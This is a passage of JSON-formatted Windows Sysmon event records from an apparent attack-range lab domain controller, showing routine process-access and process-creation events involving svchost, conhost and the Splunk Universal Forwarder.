11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1790,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1791,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1792,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1793,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nTargetProcessId: 3744\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","TargetProcessId":"3744","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1794,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.671\r\nProcessGuid: {90617006-3FE6-5F2D-0000-00102A200300}\r\nProcessId: 3720\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool check --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nParentProcessId: 3744\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.671","ProcessGuid":"{90617006-3FE6-5F2D-0000-00102A200300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool check --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE6-5F2D-0000-00104F1F0300}","ParentProcessId":"3744","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool\" check --no-log","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1795,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FE6-5F2D-0000-00104F1F0300}\r\nSourceProcessId: 3744\r\nSourceThreadId: 3740\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FE6-5F2D-0000-00104F1F0300}","SourceProcessId":"3744","SourceThreadId":"3740","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1796,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE6-5F2D-0000-00102A200300}\r\nTargetProcessId: 3720\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE6-5F2D-0000-00102A200300}","TargetProcessId":"3720","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1797,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:58","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1798,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:58.656\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:58.656","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:59","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 